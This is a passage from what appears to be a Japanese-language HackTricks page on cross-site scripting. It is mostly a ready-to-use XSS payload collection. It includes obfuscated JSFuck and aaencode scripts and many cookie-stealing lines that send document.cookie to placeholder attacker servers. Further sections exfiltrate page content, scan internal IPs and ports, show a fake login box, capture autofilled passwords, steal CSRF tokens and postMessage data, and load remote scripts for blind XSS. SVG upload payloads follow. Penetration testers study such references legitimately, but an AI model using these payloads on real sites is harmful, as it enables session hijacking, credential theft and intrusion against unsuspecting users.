]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||
```
|
||
|
||
```javascript
|
||
//aaencode
|
||
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
|
||
```
|
||
|
||
```javascript
|
||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||
```
|
||
## XSSの一般的なペイロード
|
||
|
||
### 1つのペイロードに複数
|
||
|
||
{% content-ref url="steal-info-js.md" %}
|
||
[steal-info-js.md](steal-info-js.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Iframeトラップ
|
||
|
||
ユーザーがiframeを退出せずにページ内を移動させ、その行動を盗む(フォームに送信された情報を含む):
|
||
|
||
{% content-ref url="../iframe-traps.md" %}
|
||
[iframe-traps.md](../iframe-traps.md)
|
||
{% endcontent-ref %}
|
||
|
||
### クッキーの取得
|
||
```javascript
|
||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
|
||
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
|
||
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
|
||
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
|
||
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
|
||
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
|
||
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
|
||
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
|
||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||
```
|
||
{% hint style="info" %}
|
||
HTTPOnlyフラグがクッキーに設定されている場合、**JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法](../hacking-with-cookies/#httponly)があります。
|
||
{% endhint %}
|
||
|
||
### ページコンテンツを盗む
|
||
```javascript
|
||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||
var attacker = "http://10.10.14.8/exfil";
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||
}
|
||
}
|
||
xhr.open('GET', url, true);
|
||
xhr.send(null);
|
||
```
|
||
### 内部IPを見つける
|
||
```html
|
||
<script>
|
||
var q = []
|
||
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
|
||
var wait = 2000
|
||
var n_threads = 51
|
||
|
||
// Prepare the fetchUrl functions to access all the possible
|
||
for(i=1;i<=255;i++){
|
||
q.push(
|
||
function(url){
|
||
return function(){
|
||
fetchUrl(url, wait);
|
||
}
|
||
}('http://192.168.0.'+i+':8080'));
|
||
}
|
||
|
||
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
|
||
for(i=1; i<=n_threads; i++){
|
||
if(q.length) q.shift()();
|
||
}
|
||
|
||
function fetchUrl(url, wait){
|
||
console.log(url)
|
||
var controller = new AbortController(), signal = controller.signal;
|
||
fetch(url, {signal}).then(r=>r.text().then(text=>
|
||
{
|
||
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
|
||
}
|
||
))
|
||
.catch(e => {
|
||
if(!String(e).includes("The user aborted a request") && q.length) {
|
||
q.shift()();
|
||
}
|
||
});
|
||
|
||
setTimeout(x=>{
|
||
controller.abort();
|
||
if(q.length) {
|
||
q.shift()();
|
||
}
|
||
}, wait);
|
||
}
|
||
</script>
|
||
```
|
||
### ポートスキャナー (fetch)
|
||
```javascript
|
||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||
```
|
||
### ポートスキャナー (websockets)
|
||
```python
|
||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||
for(var i=0; i<ports.length; i++) {
|
||
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
|
||
s.start = performance.now();
|
||
s.port = ports[i];
|
||
s.onerror = function() {
|
||
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
s.onopen = function() {
|
||
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
}
|
||
```
|
||
_Short times indicate a responding port_ _Longer times indicate no response._
|
||
|
||
Chromeで禁止されているポートのリストを[**こちら**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)で、Firefoxで禁止されているポートのリストを[**こちら**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)で確認してください。
|
||
|
||
### 認証情報を要求するボックス
|
||
```markup
|
||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||
```
|
||
### 自動入力パスワードキャプチャ
|
||
```javascript
|
||
<b>Username:</><br>
|
||
<input name=username id=username>
|
||
<b>Password:</><br>
|
||
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
|
||
method:'POST',
|
||
mode: 'no-cors',
|
||
body:username.value+':'+this.value
|
||
});">
|
||
```
|
||
パスワードフィールドにデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択し、何も入力しなくても、認証情報は外部に流出します。
|
||
|
||
### キーロガー
|
||
|
||
GitHubで検索したところ、いくつかの異なるものが見つかりました:
|
||
|
||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||
* metasploitの`http_javascript_keylogger`も使用できます。
|
||
|
||
### CSRFトークンの盗難
|
||
```javascript
|
||
<script>
|
||
var req = new XMLHttpRequest();
|
||
req.onload = handleResponse;
|
||
req.open('get','/email',true);
|
||
req.send();
|
||
function handleResponse() {
|
||
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
|
||
var changeReq = new XMLHttpRequest();
|
||
changeReq.open('post', '/email/change-email', true);
|
||
changeReq.send('csrf='+token+'&email=test@test.com')
|
||
};
|
||
</script>
|
||
```
|
||
### PostMessageメッセージの盗難
|
||
```markup
|
||
<img src="https://attacker.com/?" id=message>
|
||
<script>
|
||
window.onmessage = function(e){
|
||
document.getElementById("message").src += "&"+e.data;
|
||
</script>
|
||
```
|
||
### サービスワーカーの悪用
|
||
|
||
{% content-ref url="abusing-service-workers.md" %}
|
||
[abusing-service-workers.md](abusing-service-workers.md)
|
||
{% endcontent-ref %}
|
||
|
||
### シャドウDOMへのアクセス
|
||
|
||
{% content-ref url="shadow-dom.md" %}
|
||
[shadow-dom.md](shadow-dom.md)
|
||
{% endcontent-ref %}
|
||
|
||
### ポリグロット
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||
|
||
### ブラインドXSSペイロード
|
||
|
||
次のリンクも使用できます: [https://xsshunter.com/](https://xsshunter.com)
|
||
```markup
|
||
"><img src='//domain/xss'>
|
||
"><script src="//domain/xss.js"></script>
|
||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
|
||
|
||
<!-- html5sec - Self-executing focus event via autofocus: -->
|
||
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
|
||
|
||
<!-- html5sec - JavaScript execution via iframe and onload -->
|
||
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
|
||
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
|
||
|
||
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
|
||
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
|
||
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- xsshunter.com - Sites that use JQuery -->
|
||
<script>$.getScript("//domain")</script>
|
||
|
||
<!-- xsshunter.com - When <script> is filtered -->
|
||
"><img src=x id=payload== onerror=eval(atob(this.id))>
|
||
|
||
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
|
||
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
|
||
|
||
<!-- noscript trick -->
|
||
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
||
|
||
<!-- whitelisted CDNs in CSP -->
|
||
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
|
||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
### Regex - 隠れたコンテンツへのアクセス
|
||
|
||
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます:
|
||
```javascript
|
||
// Do regex with flag
|
||
flag="CTF{FLAG}"
|
||
re=/./g
|
||
re.test(flag);
|
||
|
||
// Remove flag value, nobody will be able to get it, right?
|
||
flag=""
|
||
|
||
// Access previous regex input
|
||
console.log(RegExp.input)
|
||
console.log(RegExp.rightContext)
|
||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||
```
|
||
### ブルートフォースリスト
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||
|
||
## 他の脆弱性を悪用したXSS
|
||
|
||
### MarkdownにおけるXSS
|
||
|
||
レンダリングされるMarkdownコードを注入できますか?もしかしたらXSSを取得できるかもしれません!確認してください:
|
||
|
||
{% content-ref url="xss-in-markdown.md" %}
|
||
[xss-in-markdown.md](xss-in-markdown.md)
|
||
{% endcontent-ref %}
|
||
|
||
### SSRFへのXSS
|
||
|
||
**キャッシュを使用しているサイトでXSSを取得しましたか**?このペイロードを使用して**それをSSRFにアップグレードしてみてください**:
|
||
```python
|
||
<esi:include src="http://yoursite.com/capture" />
|
||
```
|
||
クッキー制限、XSSフィルターなどを回避するために使用します!\
|
||
この技術に関する詳細情報はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
||
|
||
### 動的に作成されたPDFにおけるXSS
|
||
|
||
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\
|
||
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。
|
||
|
||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||
{% endcontent-ref %}
|
||
|
||
HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります:
|
||
|
||
{% content-ref url="pdf-injection.md" %}
|
||
[pdf-injection.md](pdf-injection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Amp4EmailにおけるXSS
|
||
|
||
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートし、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
|
||
|
||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。
|
||
|
||
例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||
|
||
### ファイルのアップロードにおけるXSS(svg)
|
||
|
||
次のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から):
|
||
```markup
|
||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||
Content-Length: 574
|
||
-----------------------------232181429808
|
||
Content-Disposition: form-data; name="img"; filename="img.svg"
|
||
Content-Type: image/svg+xml
|
||
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
|
||
<script type="text/javascript">
|
||
alert(1);
|
||
</script>
|
||
</svg>
|
||
-----------------------------232181429808--
|
||
```
|
||
|
||
```markup
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<script type="text/javascript">alert("XSS")</script>
|
||
</svg>
|
||
```
|
||
|
||
```markup
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
||
<script type="text/javascript">
|
||
alert("XSS");
|
||
</script>
|
||
</svg>
|
||
```
|
||
|
||
```svg
|
||
<svg width="500" height="500"
|
||
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||
<circle cx="50" cy="50" r="45" fill="green"
|
||
id="foo"/>
|
||
|
||
<foreignObject width="500" height="500">
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
|
||
</foreignObject>
|
||
</svg>
|
||
```
|
||
|
||
```html
|
||
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
|
||
```
|
||
|
||
```xml
|
||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||
```
|
||
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||
|
||
## Misc JS Tricks & Relevant Info
|
||
|
||
{% content-ref url="other-js-tricks.md" %}
|
||
[other-js-tricks.md](other-js-tricks.md)
|
||
{% endcontent-ref %}
|
||
|
||
## XSS resources
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||
* [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要です_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|